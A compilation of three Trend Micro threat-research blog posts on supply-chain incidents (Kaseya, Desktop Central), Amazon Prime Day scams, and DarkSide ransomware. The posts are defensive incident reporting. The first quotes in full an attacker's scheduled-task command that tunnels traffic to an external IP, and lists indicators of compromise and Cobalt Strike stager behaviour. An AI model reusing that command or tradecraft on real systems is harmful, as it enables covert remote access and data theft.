Introduction

Modern technology has made managing large IT environments much less daunting compared to the past, when each endpoint had to be manually configured and maintained. Many organizations now use tools and IT solutions that allow centralized management of endpoints, making it possible to update, troubleshoot, and deploy applications from a remote location.

However, this convenience comes at a price — just as IT staff can access machines from a single location, the centralized nature of modern tech infrastructure also means that malicious actors can target the primary hub to gain access to the whole system.  Even more concerning, cybercriminals no longer even have to launch a direct attack against an organization — they can bypass security measures by focusing on their target’s supply chain. For example, instead of trying to find weak points in the system of a large organization that will likely have strong defenses, an attacker can instead target smaller companies that develop software for larger enterprises.

In this blog entry, we will take a look at two examples of supply chain attacks that our Managed Detection and Response (MDR) team encountered in the past couple of months.

Incident #1: Attack on the Kaseya platform

On July 2, during the peak of the Kaseya ransomware incident, we alerted one of our customers, notifying them about  ransomware detections in their system.  

Our investigation found suspicious activity when the file AgentMon.exe, which is part of the Kaseya Agent, spawned another file, cmd.exe, that is responsible for creating the payload agent.exe, which in turn dropped MsMpEng.exe

By expanding our root cause analysis (RCA) and checking the argument for cmd.exe, we were able to see a few items before the execution of the ransomware. These initial set of indicators of compromise (IoCs) are similar to the ones discussed in another blog post.

We found that the malware attempted to disable the anti-malware and anti-ransomware features of Windows Defender via PowerShell commands. It also created a copy of the Windows command line program Certutil.exe to “C:\Windows\cert.exe”, which is used to decode the payload file agent.crt, with the output given the name agent.exe.  Agent.exe is then used to create the file MsMpEng.exe, a version of Windows Defender that is vulnerable to DLL side-loading.

Machine learning detection capabilities managed to block and detect the ransomware, however, the protection module was not activated in all the security agents of Trend Micro Apex One™ — so the organization’s support requested the team to check their product settings. Because the process chain showed that the ransomware came from a Kaseya agent, we  requested our customer to isolate the Kaseya servers to contain the threat.

A few hours later, Kaseya released a notice to their users to immediately shut down their Virtual System/Server Administrator (VSA) server until further notice.

Incident #2: Credential dumping attack on the Active Directory

The second supply chain incident handled by our MDR team starts with an alert to a customer that notified them of a credential dump occurring in their active directory (AD). The Incident View in Trend Micro Vision One™️ aggregated other detections into a single view, providing additional information on the scope of the threat. From there, we were able to see a server, an endpoint, and a user related to the threat.

Our threat hunting team also noted suspicious behavior related to WmiExec. Further investigation of the affected hosts’ Ownership Alignment Tools (OATs) show a related entry for persistence:

• C:\Windows\System32\schtasks.exe /CREATE /RU SYSTEM /SC HOURLY /TN “Windows Defender” /TR “powershell.exe C:\Windows\System.exe -L rtcp://0.0.0.0:1035/127.0.0.1:25 -F mwss://52.149.228.45:443” /ST 12:00

We found scheduled tasks being utilized as a persistence mechanism for the file System.exe. Further analysis of this file shows that it is related to GO simple tunnel, which is used to forward network traffic to an IP address depending on the argument.

Checking the initial alert revealed a file common in the two hosts, which prompted us to check the IOC list to determine the other affected hosts in the environment.

Expanding the nodes from the RCA allowed us to gather additional IOCs that showed setup0.exe creating the file elevateutils.exe. In addition, elevateutils.exe was seen querying the domain vmware[.]center, which is possibly the threat’s command-and-control (C&C) server. We also discovered the earliest instance of setup0.exe in one of the hosts.

The samples setup0.exe is an installer for elevateutils.exe which seems to be a Cobalt Strike Beacon Malleable C&C stager based on our analysis. The installer may have been used to masquerade as a normal file installation. 

The stager elevateutils.exe: will try to load the DLL chartdir60.dll, which will in turn read the contents of manual.pdf (these are also dropped by the installer in the same directory as elevateutil.exe). It will then decrypt, load, and execute a shell code in memory that will access the URL vmware[.]center/mV6c.

It makes use of VirtualAlloc, VirtualProtect, CreateThread, and a function to decrypt the shellcode to load and execute in memory. It also uses indirect API calls after decryption in a separate function, then uses JMP EAX to call the function as needed, which is not a routine or behavior that a normal file should have.

Since it’s possible that this is a Cobalt Strike Malleable C&C stager, further behaviors may be dependent on what is downloaded from the accessed URL. However, due to being inaccessible at the time of writing this blog post, we were unable to observe and/or verify other behaviors.

Use of the Progressive RCA of Vision One allowed us to see how elevateutils.exe was created, as well as its behaviors. The malicious file was deployed via a Desktop Central agent.

Based on these findings, our recommendation to the customer was to check the logon logs of the affected application to verify any suspicious usage of accounts during the time the threat was deployed.

By closely monitoring the environment, the threat was stopped after the credential dump. Furthermore, the IOCs (IP addresses and hashes) were added to the suspicious objects list to block them while waiting for detections. Further monitoring was done and no other suspicious behavior were seen.

Defending against supply chain attacks

As businesses become more interconnected, a successful supply chain attack has the potential to cause a significant amount of damage to affected organizations.  We can expect to see more of these in the future, as they often lead to the same results as a direct attack while providing a wider attack surface for malicious actors to exploit.

Supply chain attacks are difficult to track because the targeted organizations often do not have full access to what’s going on security-wise with their supply chain partners. This can often be exacerbated by security lapses within the company itself. For example, products and software may have configurations — such as folder exclusions and suboptimal implementation of detection modules — that make threats more difficult to notice.

Security audits are also a very important step in securing the supply chain.  Even if third party vendors are known to be trustworthy, security precautions should still be deployed in case there are compromised accounts or even insider threats.

Using Vision One to contain the threat

Trend Micro Vision One provides offers organizations the ability to detect and respond to threats across multiple security layers. It provides enterprises options to deal with threats such as the ones discussed in this blog entry:

• It can Isolate endpoints, which are often the source of infection, until they are fully cleaned or the investigation is done.
• It can block IOCs related to the threat, this includes hashes, IP addresses, or domains found during analysis.
• It can collect files for further investigation.

Indicators of Compromise (IoCs)

Incident # 1

Incident # 2

IP addresses and domains

• 185[.]215[.]113[.]213
• vmware[.]center
  
  Source :
  https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html

Malicious actors taking advantage of important events is not a new trend. For example, a large number of tax-related scams pops up every tax season in the US, with threats ranging from simple phishing emails to the use of scare tactics that lead to ransomware. More recently,  Covid-19 has led to a surge in pandemic-related malicious campaigns, mostly arriving via email.

For many people, major online shopping events such as the annual Amazon Prime day — which falls on June 21 this year — presents a unique opportunity to purchase goods at heavily discounted prices. However, shoppers are not the only ones looking to benefit — cybercriminals are also looking to prey on unsuspecting victims via social engineering and other kinds of scams. Amazon Prime has experienced tremendous growth over the past two years. According to estimates, there were 150 million Prime members at the end of the fourth quarter of 2019, a number which grew to 200 million by the first quarter of 2021 — with around 105 million users in the US alone. This makes Amazon Prime customers a particularly lucrative target for malicious actors.

As Amazon Prime day approaches, we’d like to build awareness among the shopping public by showing some of the related scams we’ve observed over the past few months.

Amazon Prime Scams

In 2020, Amazon Prime day, which is usually held in June or July, was postponed to October due to Covid-19. That same month, the Australian Communications and Media Authority (ACMA) issued an alert warning the public that they had been receiving reports of scammers — impersonating Amazon Prime staff — calling their targets, claiming that they owed money to Amazon. They also warned the victim that funds would be taken from their bank account if they did not act immediately. Often, the goal of these scammers is to retrieve Amazon account details and personal data from their victims by asking them to go online and enter the relevant information.

A variation of this scam involves swindlers calling their targets and presenting them with a recorded message, allegedly from Amazon, notifying call recipients of an issue with their order — such as a lost package or an unfulfilled order. The victims would then be invited to either press the number “1” button on their phone or provided a number that they would need to call. As with the first scam, the goals are the same: gaining personal information.

Aside from phone call scams, malicious actors also use tried-and-tested email-based phishing tactics. One method uses fake order invoices with corresponding phony order numbers and even a bogus hotline number, which, once called, will prompt the recipient to enter their personal details.

Another technique involves the scammer notifying an Amazon Prime user of problems with their account: For example, a Twitter post from user VZ NRW – Phishing shows fake Amazon Prime message warning the recipient that their Prime benefits have allegedly been suspended due to a problem with the payment. The message also contains a fake phishing link that the user would have to click to resolve the issue.  

hotline number. Note the suspicious email address used by the sender containing a misspelled “Amazon.”

Malicious actors will also make use of fake websites and online forms — many of which are painstakingly crafted to match the official sites as much as possible. One phishing website asks users to confirm payment details by filling out certain information. However, despite looking authentic, the page contains plenty of red flags — for example, none of the outbound links actually work, and the forms used in the page requests more data than usual, including personal information that companies typically never ask users to provide.

A precursory search in VirusTotal using the strings “Amazon” and “Prime” reveal over a hundred PDF files, many of which contain movie names (membership in Amazon Prime also makes users eligible for Prime Video). These PDF files are hosted on various cloud services, with the link to these files typically distributed via malicious emails.

Upon opening some of these files, a Captcha button appears, which will activate a malicious redirection chain when clicked.

While it’s easy to assume that most of these scammers are single individuals or small groups looking for a quick buck, there are certain threat actor groups that use sophisticated social engineering techniques for their campaigns, which includes Amazon users as a primary target.

The Heatstroke phishing campaign

We first encountered the phishing campaign known as Heatstroke back in 2019, noting that the group behind the campaign utilized complex techniques for both researching about and luring in their victims, which were primarily Amazon and Paypal users.

For example, compared to the webpage from the previous section, Heatstroke makes use of a phishing website with multiple working screens and subpages to try and mimic a legitimate website as much as possible. In addition, Heatstroke implements various obfuscation techniques such as forwarding the phishing kit content from another location or changing the landing page to bypass content filters.

The threat actor has implemented some improvements over the past two years — such as expanded IP ranges and improvements to user agents and the kit’s “self-defense” mechanisms (coverage of scams, anti-bot, and IP protection services), as well as the addition of an API and kill date, after which the kit won’t work anymore. 

Heatstroke remains active with a well-maintained infrastructure in 2021. The threat actor largely uses the same techniques from the past. However, it might be a case of not fixing what isn’t broken, given how effective the previous campaigns proved to be.

Defending against scams

As exciting as Amazon Prime Day (and other similar shopping extravaganzas like Black Friday and Cyber Monday) is, the public should remain vigilant against potential scams, as cybercriminals are looking to capitalize on these types of events.

The following best practices and recommendations can help individuals avoid these kinds of scams:

• Most reputable organizations will never ask for sensitive financial information over the phone. If a caller allegedly coming from Amazon or another company asks for strangely specific information such as credit card or bank account numbers, this is an automatic red flag.
• Be wary of out-of-context emails. If you receive an email referencing an item you did not purchase, then it is highly likely that the email is a phishing attempt. Refrain from downloading attachments or clicking links in suspicious emails, as these can lead to malware infections.
• Scan emails for typographical or grammatical mistakes. Legitimate emails will always be thoroughly checked and edited before being sent, therefore even small errors are possible signs of a malicious email.
• Always double check the URL of a website to see if it matches up with the real one. For example, Amazon websites and subpages will always have a dot before “amazon.com” (for example, “support.amazon.com” versus “support-amazon.com”), therefore, even if a website copies the design of the legitimate one, a sketchy URL will often give it away as being malicious. In the same vein, email addresses should be scrutinized to see if they look suspicious or have any unusual elements.
• Organizations are also encouraged to regularly check the awareness of employees on the latest cyberthreats via Trend Micro Phish Insight, a cloud-based security awareness service that is designed to empower employees to protect themselves and their organization from social engineering-based attacks.

Source :
https://www.trendmicro.com/en_us/research/21/f/amazon-prime-day-big-sales–big-scams.html

Updated May 17, 2021, 3:25 a.m. Eastern Time: This article has been updated to add references to the DarkSide victim data.

On May 7, a ransomware attack forced Colonial Pipeline, a company responsible for nearly half the fuel supply for the US East Coast, to proactively shut down operations. Stores of gasoline, diesel, home heating oil, jet fuel, and military supplies had been so heavily affected that the Federal Motor Carrier Safety Administration (FMCSA) declared a state of emergency in 18 states to help with the shortages.

It has been five days since the shutdown prompted by the attack, but Colonial Pipeline is still unable to resume full operations. Outages have already started affecting motorists. In metro Atlanta, 30% of gas stations are without gasoline, and other cities are reporting similar numbers. To keep supplies intact for essential services, the US government has issued advisories against hoarding. 

The FBI has confirmed that DarkSide, a cybercriminal group believed to have originated in Eastern Europe, is behind the attack. The ransomware used by the group is a relatively new family that was first spotted in August 2020, but the group draws on experience from previous financially successful cybercrime enterprises.

Apart from locking Colonial Pipeline’s computer systems, DarkSide also stole over 100 GB of corporate data. This data theft is all the more relevant in light of the fact that the group has a history of doubly extorting its victims — not only asking for money to unlock the affected computers and demanding payment for the captured data, but also threatening to leak the stolen data if the victims do not pay. As we will cover later, DarkSide shows a level of innovation that sets it apart from its competition, being one of the first to offer what we call “quadruple extortion services.”

The group announced on May 12 that it had three more victims: a construction company based in Scotland, a renewable energy product reseller in Brazil, and a technology services reseller in the US. The DarkSide actors claimed to have stolen a total of 1.9 GB of data from these companies, including sensitive information such as client data, financial data, employee passports, and contracts.   

Since Darkside is a ransomware-as-a-service (RaaS), it is possible that three different affiliate groups are behind these three attacks. Even the DarkSide actors themselves admit that they just buy access to company networks — they have no idea how access was acquired.

Trend Micro Research found dozens of DarkSide ransomware samples in the wild and investigated how the ransomware group operates and what organizations it typically targets. 

The DarkSide ransomware

DarkSide offers its RaaS to affiliates for a percentage of the profits. The group presents a prime example of modern ransomware, operating with a more advanced business model. Modern ransomware identifies high-value targets and involves more precise monetization of compromised assets (with double extortion as an example). Modern ransomware attacks are also typically done by several groups who collaborate and split profits. These attacks may look more like advanced persistent threat (APT) attacks than traditional ransomware events.  

Here is a short timeline of DarkSide activity compiled from publicly available reports:

•  August 2020: DarkSide introduces its ransomware.
• October 2020: DarkSide donates US$20,000 stolen from victims to charity.
• November 2020: DarkSide establishes its RaaS model. The group invites other criminals to use its service. A DarkSide data leak site is later discovered.
• November 2020: DarkSide launches its content delivery network (CDN) for storing and delivering compromised data.
• December 2020: A DarkSide actor invites media outlets and data recovery organizations to follow the group’s press center on the public leak site.
• March 2021: DarkSide releases version 2.0 of its ransomware with several updates.
• May 2021: DarkSide launches the Colonial Pipeline attack. After the attack, Darkside announces it is apolitical and will start vetting its targets (possibly to avoid raising attention to future attacks).

Initial access

In our analysis of DarkSide samples, we saw that phishing, remote desktop protocol (RDP) abuse, and exploiting known vulnerabilities are the tactics used by the group to gain initial access. The group also uses common, legitimate tools throughout the attack process to remain undetected and obfuscate its attack. 

Throughout the reconnaissance and gaining-entry phases, we saw these legitimate tools used for specific purposes:

• PowerShell: for reconnaissance and persistence
• Metasploit Framework: for reconnaissance
• Mimikatz: for reconnaissance
• BloodHound: for reconnaissance
• Cobalt Strike: for installation

For modern ransomware like DarkSide, gaining initial access no longer immediately leads to ransomware being dropped. There are now several steps in between that are manually executed by an attacker.

Lateral movement and privilege escalation

Lateral movement is a key discovery phase in the modern ransomware process. In general, the goal is to identify all critical data within the victim organization, including the target files and locations for the upcoming exfiltration and encryption steps.

In the case of DarkSide, we confirmed reports that the goal of lateral movement is to gain Domain Controller (DC) or Active Directory access, which will be used to steal credentials, escalate privileges, and acquire other valuable assets for data exfiltration. The group then continues its lateral movement through the system, eventually using the DC network share to deploy the ransomware to connected machines. Some of the known lateral movement methods deployed by DarkSide use PSExec and RDP. But as we previously noted, a modern ransomware group behaves with methods more commonly associated with APT groups — it adapts its tooling and methods to the victim’s network defenses.

Exfiltration

As is common practice with double extortion ransomware, critical files are exfiltrated prior to the ransomware being launched. This is the riskiest step so far in the ransomware execution process, as data exfiltration is more likely to be noticed by the victim organization’s security team. It is the last step before the ransomware is dropped, and the attack often speeds up at this point to complete the process before it is stopped.

For exfiltration, we saw the following tools being used:

• 7-Zip: a utility used for archiving files in preparation for exfiltration
• Rclone and Mega client: tools used for exfiltrating files to cloud storage
• PuTTy: an alternative application used for network file transfer

DarkSide uses several Tor-based leak sites to host stolen data. The file-sharing services used by the group for data exfiltration include Mega and PrivatLab.

Execution and impact

The execution of the actual ransomware occurs next. The DarkSide ransomware shares many similarities with REvil in this step of the process, including the structure of ransom notes and the use of PowerShell to execute a command that deletes shadow copies from the network. It also uses the same code to check that the victim is not located in a Commonwealth of Independent States (CIS) country.

In addition to PowerShell, which is used to install and operate the malware itself, the group reportedly uses Certutil and Bitsadmin to download the ransomware. It uses two encryption methods, depending on whether the target operating system is Windows or Linux: A ChaCha20 stream cipher with RSA-4096 is used on Linux, and Salsa20 with RSA-1024 is used on Windows.

The following figure shows a sample ransom note from DarkSide.

It is interesting to note that DarkSide’s ransom note is similar to that of Babuk, which might indicate that these two families share a link.

DarkSide ransomware targets

Based on the group’s Tor leak sites, DarkSide determines whether to pursue targeting a potential victim organization by primarily looking at that organization’s financial records. It also uses this information to determine the amount of ransom to demand, with a typical ransom demand amounting to anywhere between US$200,000 and US$2 million.

Reports say that, based on the leak sites, there are at least 90 victims affected by DarkSide. In total, more than 2 TB of stolen data is currently being hosted on DarkSide sites, and 100% of victims’ stolen files are leaked.

The actors behind Darkside have stated that they avoid targeting companies in certain industries, including healthcare, education, the public sector, and the nonprofit sector. Organizations in manufacturing, finance, and critical infrastructure have been identified in Trend Micro data as targets.

Based on Trend Micro data, the US is by far DarkSide’s most targeted country, at more than 500 detections, followed by France, Belgium, and Canada. As previously mentioned, DarkSide avoids victimizing companies in CIS countries. Part of the ransomware execution code checks for the geolocation of potential victims to avoid companies in these countries, although the group would likely be aware of the location of a target organization long before the ransomware is executed. That the group admittedly spares companies in CIS countries could be a clue to where DarkSide actors are residing. It is possible that they do this to avoid law enforcement action from these countries, since the governments of some of these countries do not persecute criminal acts such as DarkSide’s if they are done on foreign targets.

After the Colonial Pipeline attack, DarkSide released a statement on one of its leak sites clarifying that the group did not wish to create problems for society and that its goal was simply to make money. There is no way to verify this statement, but we know that the group is still quite active. As previously mentioned, DarkSide actors announced that they had stolen data from three more victims since the Colonial Pipeline attack.

MITRE ATT&CK tactics and techniques

The following are the MITRE ATT&CK tactics and techniques associated with DarkSide.

Conclusion

Ransomware is an old but persistently evolving threat. As demonstrated by the recent activities of DarkSide, modern ransomware has changed in many aspects: bigger targets, more advanced extortion techniques, and farther-reaching consequences beyond the victims themselves. 

Ransomware actors are no longer content with simply locking companies out of their computers and asking for ransom. Now they are digging deeper into their victims’ networks and looking for new ways to monetize their activities. For example, a compromised cloud server can go through a complete attack life cycle, from the initial compromise to data exfiltration to resale or use for further monetization. Compromised enterprise assets are a lucrative commodity on underground markets; cybercriminals are well aware of how to make money from attacking company servers. 

In the Colonial Pipeline attack, DarkSide used double extortion. But some ransomware actors have gone even further. Jon Clay, Director of Global Threat Communications at Trend Micro, outlines the phases of ransomware:

• Phase 1: Just ransomware. Encrypt the files, drop the ransom note, and wait for the payment.
• Phase 2: Double extortion. Phase 1 + data exfiltration and threatening data release. Maze was one of the first documented cases of this.
• Phase 3: Triple extortion. Phase 1 + Phase 2 + threatening DDoS. SunCrypt, RagnarLocker, and Avaddon were among the first groups documented doing this.
• Phase 4: Quadruple extortion. Phase 1 (+ possibly Phase 2 or Phase 3) + directly emailing the victim’s customer base or having contracted call centers contact customers.

In fact, as detailed in security reports, DarkSide offers both the DDoS and call center options. The group is making quadruple extortion available to its affiliates and showing a clear sign of innovation. In cybercrime, there are no copyright or patent laws for tools and techniques. Innovation is as much about quickly and completely copying others’ best practices as it is about coming up with new approaches. 

Ransomware will only continue to evolve. Organizations therefore need to take the time to put in place an incident response plan focused on the new model of ransomware attacks. Unfortunately, some organizations may be putting cybersecurity on the back burner. For example, some security experts noted that Colonial Pipeline was using a previously exploited vulnerable version of Microsoft Exchange, among other cybersecurity lapses. A successful attack on a company providing critical services will have rippling effects that will harm multiple sectors of society, which is why protecting these services should be a top priority.

In a US Senate hearing on cybersecurity threats, Senator Rob Portman of Ohio described the strike on Colonial Pipeline as “potentially the most substantial and damaging attack on US critical infrastructure ever.” This attack is a call to action for all organizations to harden their networks against attacks and improve their network visibility.

Trend Micro has a multilayered cybersecurity platform that can help improve your organization’s detection and response against the latest ransomware attacks and improve your organization’s visibility. Visit the Trend Micro Vision One™ website for more information. Detailed solutions can be found in our knowledge base article on DarkSide ransomware.

Source :
https://www.trendmicro.com/en_us/research/21/e/what-we-know-about-darkside-ransomware-and-the-us-pipeline-attac.html